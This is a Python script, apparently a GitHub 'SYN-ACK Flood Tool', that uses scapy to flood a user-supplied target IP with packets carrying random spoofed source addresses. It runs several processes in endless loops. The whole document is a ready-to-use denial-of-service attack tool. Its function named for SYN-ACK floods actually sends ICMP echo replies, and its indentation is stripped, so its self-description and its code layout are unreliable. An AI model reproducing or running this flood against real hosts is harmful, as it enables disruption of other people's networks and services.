from multiprocessing import Process
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
def randInt():
x = random.randint(1000, 9000)
return x
def SYN_ACK_Flood(dstIP, counter):
total = 0
print("Packets are sending ...")
for x in range(0, counter):
ip_packet = IP(dst=dstIP)
ip_packet.src = randomIP()
icmp_response = ICMP(type=0)
response_packet = ip_packet / icmp_response
send(response_packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print("#############################")
print("# github.com/Zhoushukang #")
print("#############################")
print("# Welcome to SYN-ACK Flood Tool #")
print("#############################")
dstIP = input("\nTarget IP : ")
return dstIP
def attack(dstIP, counter):
while True:
SYN_ACK_Flood(dstIP, int(counter))
if __name__ == '__main__':
num = input("并行数:")
counter = input("你需要发送多少包 : ")
list = []
dstIP = info()
for i in range(int(num)):
p = Process(target=attack, args=(dstIP, counter))
list.append(p)
for i in list:
i.start()
for i in list:
i.join()